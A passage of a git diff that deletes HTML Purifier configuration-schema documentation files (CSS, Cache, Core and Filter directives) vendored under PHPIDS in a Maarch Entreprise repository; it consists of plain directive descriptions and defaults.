b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt deleted file mode 100755 index 923e8e995cb641c580d94bc3f4800df40ae18fd0..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt +++ /dev/null @@ -1,13 +0,0 @@ -CSS.ForbiddenProperties -TYPE: lookup -VERSION: 4.2.0 -DEFAULT: array() ---DESCRIPTION-- -<p> - This is the logical inverse of %CSS.AllowedProperties, and it will - override that directive or any other directive. If possible, - %CSS.AllowedProperties is recommended over this directive, - because it can sometimes be difficult to tell whether or not you've - forbidden all of the CSS properties you truly would like to disallow. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt deleted file mode 100755 index 3808581e2b72c22dffb5064b6987e5f1354846ea..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt +++ /dev/null @@ -1,16 +0,0 @@ -CSS.MaxImgLength -TYPE: string/null -DEFAULT: '1200px' -VERSION: 3.1.1 ---DESCRIPTION-- -<p> - This parameter sets the maximum allowed length on <code>img</code> tags, - effectively the <code>width</code> and <code>height</code> properties. - Only absolute units of measurement (in, pt, pc, mm, cm) and pixels (px) are allowed. This is - in place to prevent imagecrash attacks, disable with null at your own risk. - This directive is similar to %HTML.MaxImgLength, and both should be - concurrently edited, although there are - subtle differences in the input format (the CSS max is a number with - a unit). -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt deleted file mode 100755 index 8a26f228dd98915e1d86642162329b6eede6c836..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt +++ /dev/null @@ -1,10 +0,0 @@ -CSS.Proprietary -TYPE: bool -VERSION: 3.0.0 -DEFAULT: false ---DESCRIPTION-- - -<p> - Whether or not to allow safe, proprietary CSS values. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt deleted file mode 100755 index 917ec42ba46d381a39330adc414a3efdd23ba394..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt +++ /dev/null @@ -1,9 +0,0 @@ -CSS.Trusted -TYPE: bool -VERSION: 4.2.1 -DEFAULT: false ---DESCRIPTION-- -Indicates whether or not the user's CSS input is trusted or not. If the -input is trusted, a more expansive set of allowed properties. See -also %HTML.Trusted. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.txt deleted file mode 100755 index c4f5bf643e53724bd6224396de8ae9a2896f2e71..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.txt +++ /dev/null @@ -1,3 +0,0 @@ -CSS -DESCRIPTION: Configuration regarding allowed CSS. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt deleted file mode 100755 index afc6a87a64380f90db498c49322aac8cfe4012c3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt +++ /dev/null @@ -1,14 +0,0 @@ -Cache.DefinitionImpl -TYPE: string/null -VERSION: 2.0.0 -DEFAULT: 'Serializer' ---DESCRIPTION-- - -This directive defines which method to use when caching definitions, -the complex data-type that makes HTML Purifier tick. Set to null -to disable caching (not recommended, as you will see a definite -performance degradation). - ---ALIASES-- -Core.DefinitionCache ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt deleted file mode 100755 index 668f248af4e5d7f1013d6e0a0d11158106f8cc3f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt +++ /dev/null @@ -1,13 +0,0 @@ -Cache.SerializerPath -TYPE: string/null -VERSION: 2.0.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - Absolute path with no trailing slash to store serialized definitions in. - Default is within the - HTML Purifier library inside DefinitionCache/Serializer. This - path must be writable by the webserver. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt deleted file mode 100755 index 9c27b0ac6a4a7c3cbad81bf430720f60cb2bfcef..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt +++ /dev/null @@ -1,11 +0,0 @@ -Cache.SerializerPermissions -TYPE: int -VERSION: 4.3.0 -DEFAULT: 0755 ---DESCRIPTION-- - -<p> - Directory permissions of the files and directories created inside - the DefinitionCache/Serializer or other custom serializer path. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.txt deleted file mode 100755 index 415540fda28cd06d748ef2dc0a5689d62e4a95fc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.txt +++ /dev/null @@ -1,3 +0,0 @@ -Cache -DESCRIPTION: Configuration for DefinitionCache and related subclasses. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt deleted file mode 100755 index e0fa378ea8859f347878f60ecf3ed02975c7e309..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt +++ /dev/null @@ -1,18 +0,0 @@ -Core.AggressivelyFixLt -TYPE: bool -VERSION: 2.1.0 -DEFAULT: true ---DESCRIPTION-- -<p> - This directive enables aggressive pre-filter fixes HTML Purifier can - perform in order to ensure that open angled-brackets do not get killed - during parsing stage. Enabling this will result in two preg_replace_callback - calls and at least two preg_replace calls for every HTML document parsed; - if your users make very well-formed HTML, you can set this directive false. - This has no effect when DirectLex is used. -</p> -<p> - <strong>Notice:</strong> This directive's default turned from false to true - in HTML Purifier 3.2.0. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt deleted file mode 100755 index c6ea06990fc54e73d3bec5ba20beb9e942fa3136..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt +++ /dev/null @@ -1,12 +0,0 @@ -Core.CollectErrors -TYPE: bool -VERSION: 2.0.0 -DEFAULT: false ---DESCRIPTION-- - -Whether or not to collect errors found while filtering the document. This -is a useful way to give feedback to your users. <strong>Warning:</strong> -Currently this feature is very patchy and experimental, with lots of -possible error messages not yet implemented. It will not cause any -problems, but it may not help your users either. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt deleted file mode 100755 index b8c259d14636d397ee0dae782e99e8f7f4c9ecb5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt +++ /dev/null @@ -1,28 +0,0 @@ -Core.ColorKeywords -TYPE: hash -VERSION: 2.0.0 ---DEFAULT-- -array ( - 'maroon' => '#800000', - 'red' => '#FF0000', - 'orange' => '#FFA500', - 'yellow' => '#FFFF00', - 'olive' => '#808000', - 'purple' => '#800080', - 'fuchsia' => '#FF00FF', - 'white' => '#FFFFFF', - 'lime' => '#00FF00', - 'green' => '#008000', - 'navy' => '#000080', - 'blue' => '#0000FF', - 'aqua' => '#00FFFF', - 'teal' => '#008080', - 'black' => '#000000', - 'silver' => '#C0C0C0', - 'gray' => '#808080', -) ---DESCRIPTION-- - -Lookup array of color names to six digit hexadecimal number corresponding -to color, with preceding hash mark. Used when parsing colors. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt deleted file mode 100755 index 656d3783a80fb43957a21be327345bf4036c398e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt +++ /dev/null @@ -1,14 +0,0 @@ -Core.ConvertDocumentToFragment -TYPE: bool -DEFAULT: true ---DESCRIPTION-- - -This parameter determines whether or not the filter should convert -input that is a full document with html and body tags to a fragment -of just the contents of a body tag. This parameter is simply something -HTML Purifier can do during an edge-case: for most inputs, this -processing is not necessary. - ---ALIASES-- -Core.AcceptFullDocuments ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt deleted file mode 100755 index 2f54e462a1525a6d373a0ef721e5c8f8b3eb4c9c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt +++ /dev/null @@ -1,17 +0,0 @@ -Core.DirectLexLineNumberSyncInterval -TYPE: int -VERSION: 2.0.0 -DEFAULT: 0 ---DESCRIPTION-- - -<p> - Specifies the number of tokens the DirectLex line number tracking - implementations should process before attempting to resyncronize the - current line count by manually counting all previous new-lines. When - at 0, this functionality is disabled. Lower values will decrease - performance, and this is only strictly necessary if the counting - algorithm is buggy (in which case you should report it as a bug). - This has no effect when %Core.MaintainLineNumbers is disabled or DirectLex is - not being used. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt deleted file mode 100755 index 89e2ae34b1b6d0e6ff544a01574e4d6e14fed261..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt +++ /dev/null @@ -1,15 +0,0 @@ -Core.Encoding -TYPE: istring -DEFAULT: 'utf-8' ---DESCRIPTION-- -If for some reason you are unable to convert all webpages to UTF-8, you can -use this directive as a stop-gap compatibility change to let HTML Purifier -deal with non UTF-8 input. This technique has notable deficiencies: -absolutely no characters outside of the selected character encoding will be -preserved, not even the ones that have been ampersand escaped (this is due -to a UTF-8 specific <em>feature</em> that automatically resolves all -entities), making it pretty useless for anything except the most I18N-blind -applications, although %Core.EscapeNonASCIICharacters offers fixes this -trouble with another tradeoff. This directive only accepts ISO-8859-1 if -iconv is not enabled. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt deleted file mode 100755 index be932b1cf77074d99a3de30a6d4454f788f20da7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt +++ /dev/null @@ -1,10 +0,0 @@ -Core.EscapeInvalidChildren -TYPE: bool -DEFAULT: false ---DESCRIPTION-- -When true, a child is found that is not allowed in the context of the -parent element will be transformed into text as if it were ASCII. When -false, that element and all internal tags will be dropped, though text will -be preserved. There is no option for dropping the element but preserving -child nodes. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt deleted file mode 100755 index 299775fab2e9c5b79c42767b38be61dac38ad354..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt +++ /dev/null @@ -1,7 +0,0 @@ -Core.EscapeInvalidTags -TYPE: bool -DEFAULT: false ---DESCRIPTION-- -When true, invalid tags will be written back to the document as plain text. -Otherwise, they are silently dropped. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt deleted file mode 100755 index f50db2f92a7a682a82e408f1e05a0478cb60b1f8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt +++ /dev/null @@ -1,13 +0,0 @@ -Core.EscapeNonASCIICharacters -TYPE: bool -VERSION: 1.4.0 -DEFAULT: false ---DESCRIPTION-- -This directive overcomes a deficiency in %Core.Encoding by blindly -converting all non-ASCII characters into decimal numeric entities before -converting it to its native encoding. This means that even characters that -can be expressed in the non-UTF-8 encoding will be entity-ized, which can -be a real downer for encodings like Big5. It also assumes that the ASCII -repetoire is available, although this is the case for almost all encodings. -Anyway, use UTF-8! ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt deleted file mode 100755 index c337e47fca2732ebfbc2363311402b25a424d8fd..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt +++ /dev/null @@ -1,19 +0,0 @@ -Core.HiddenElements -TYPE: lookup ---DEFAULT-- -array ( - 'script' => true, - 'style' => true, -) ---DESCRIPTION-- - -<p> - This directive is a lookup array of elements which should have their - contents removed when they are not allowed by the HTML definition. - For example, the contents of a <code>script</code> tag are not - normally shown in a document, so if script tags are to be removed, - their contents should be removed to. This is opposed to a <code>b</code> - tag, which defines some presentational changes but does not hide its - contents. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.Language.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.Language.txt deleted file mode 100755 index ed1f39b5f889aac8bfa7e7a9fcad20b6b5e975db..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.Language.txt +++ /dev/null @@ -1,10 +0,0 @@ -Core.Language -TYPE: string -VERSION: 2.0.0 -DEFAULT: 'en' ---DESCRIPTION-- - -ISO 639 language code for localizable things in HTML Purifier to use, -which is mainly error reporting. There is currently only an English (en) -translation, so this directive is currently useless. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt deleted file mode 100755 index e11c0152c2db268a3e6b9d3d1faece419bd6f8d3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt +++ /dev/null @@ -1,34 +0,0 @@ -Core.LexerImpl -TYPE: mixed/null -VERSION: 2.0.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - This parameter determines what lexer implementation can be used. The - valid values are: -</p> -<dl> - <dt><em>null</em></dt> - <dd> - Recommended, the lexer implementation will be auto-detected based on - your PHP-version and configuration. - </dd> - <dt><em>string</em> lexer identifier</dt> - <dd> - This is a slim way of manually overridding the implementation. - Currently recognized values are: DOMLex (the default PHP5 -implementation) - and DirectLex (the default PHP4 implementation). Only use this if - you know what you are doing: usually, the auto-detection will - manage things for cases you aren't even aware of. - </dd> - <dt><em>object</em> lexer instance</dt> - <dd> - Super-advanced: you can specify your own, custom, implementation that - implements the interface defined by <code>HTMLPurifier_Lexer</code>. - I may remove this option simply because I don't expect anyone - to use it. - </dd> -</dl> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt deleted file mode 100755 index 838f10f61cbf3831c5e831397d23d95cf62f2cb9..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt +++ /dev/null @@ -1,16 +0,0 @@ -Core.MaintainLineNumbers -TYPE: bool/null -VERSION: 2.0.0 -DEFAULT: NULL ---DESCRIPTION-- - -<p> - If true, HTML Purifier will add line number information to all tokens. - This is useful when error reporting is turned on, but can result in - significant performance degradation and should not be used when - unnecessary. This directive must be used with the DirectLex lexer, - as the DOMLex lexer does not (yet) support this functionality. - If the value is null, an appropriate value will be selected based - on other configuration. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt deleted file mode 100755 index 94a88600de7d5f8e90e202c78ad0de163aff588d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt +++ /dev/null @@ -1,11 +0,0 @@ -Core.NormalizeNewlines -TYPE: bool -VERSION: 4.2.0 -DEFAULT: true ---DESCRIPTION-- -<p> - Whether or not to normalize newlines to the operating - system default. When <code>false</code>, HTML Purifier - will attempt to preserve mixed newline files. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt deleted file mode 100755 index 704ac56c850bdd43d1ef0a0e32ace63091f3c46f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt +++ /dev/null @@ -1,12 +0,0 @@ -Core.RemoveInvalidImg -TYPE: bool -DEFAULT: true -VERSION: 1.3.0 ---DESCRIPTION-- - -<p> - This directive enables pre-emptive URI checking in <code>img</code> - tags, as the attribute validation strategy is not authorized to - remove elements from the document. Revert to pre-1.3.0 behavior by setting to false. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt deleted file mode 100755 index ed6f13425ee14781b19ffde7b919cd7949e57b10..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt +++ /dev/null @@ -1,11 +0,0 @@ -Core.RemoveProcessingInstructions -TYPE: bool -VERSION: 4.2.0 -DEFAULT: false ---DESCRIPTION-- -Instead of escaping processing instructions in the form <code><? ... -?></code>, remove it out-right. This may be useful if the HTML -you are validating contains XML processing instruction gunk, however, -it can also be user-unfriendly for people attempting to post PHP -snippets. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt deleted file mode 100755 index efbe994c28c42d357aa69e47ac2729c32de70809..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt +++ /dev/null @@ -1,12 +0,0 @@ -Core.RemoveScriptContents -TYPE: bool/null -DEFAULT: NULL -VERSION: 2.0.0 -DEPRECATED-VERSION: 2.1.0 -DEPRECATED-USE: Core.HiddenElements ---DESCRIPTION-- -<p> - This directive enables HTML Purifier to remove not only script tags - but all of their contents. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.txt deleted file mode 100755 index 12cae8d0c886b38cac5a39c9d2240cd8d5f6bf1f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.txt +++ /dev/null @@ -1,3 +0,0 @@ -Core -DESCRIPTION: Core features that are always available. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt deleted file mode 100755 index 861ae66c3a9b3086025e15102a82da0c86675f8e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt +++ /dev/null @@ -1,11 +0,0 @@ -Filter.Custom -TYPE: list -VERSION: 3.1.0 -DEFAULT: array() ---DESCRIPTION-- -<p> - This directive can be used to add custom filters; it is nearly the - equivalent of the now deprecated <code>HTMLPurifier->addFilter()</code> - method. Specify an array of concrete implementations. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt deleted file mode 100755 index 69602635eab6cb47ff79cd25cbc920ddb826a0f1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filter.ExtractStyleBlocks.Escaping -TYPE: bool -VERSION: 3.0.0 -DEFAULT: true -ALIASES: Filter.ExtractStyleBlocksEscaping, FilterParam.ExtractStyleBlocksEscaping ---DESCRIPTION-- - -<p> - Whether or not to escape the dangerous characters <, > and & - as \3C, \3E and \26, respectively. This is can be safely set to false - if the contents of StyleBlocks will be placed in an external stylesheet, - where there is no risk of it being interpreted as HTML. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt deleted file mode 100755 index baa81ae062f9ed0afda99f491aed9be014cd3788..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt +++ /dev/null @@ -1,29 +0,0 @@ -Filter.ExtractStyleBlocks.Scope -TYPE: string/null -VERSION: 3.0.0 -DEFAULT: NULL -ALIASES: Filter.ExtractStyleBlocksScope, FilterParam.ExtractStyleBlocksScope ---DESCRIPTION-- - -<p> - If you would like users to be able to define external stylesheets, but - only allow them to specify CSS declarations for a specific node and - prevent them from fiddling with other elements, use this directive. - It accepts any valid CSS selector, and will prepend this to any - CSS declaration extracted from the document. For example, if this - directive is set to <code>#user-content</code> and a user uses the - selector <code>a:hover</code>, the final selector will be - <code>#user-content a:hover</code>. -</p> -<p> - The comma shorthand may be used; consider the above example, with - <code>#user-content, #user-content2</code>, the final selector will - be <code>#user-content a:hover, #user-content2 a:hover</code>. -</p> -<p> - <strong>Warning:</strong> It is possible for users to bypass this measure - using a naughty + selector. This is a bug in CSS Tidy 1.3, not HTML - Purifier, and I am working to get it fixed. Until then, HTML Purifier - performs a basic check to prevent this. -</p> ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt deleted file mode 100755 index 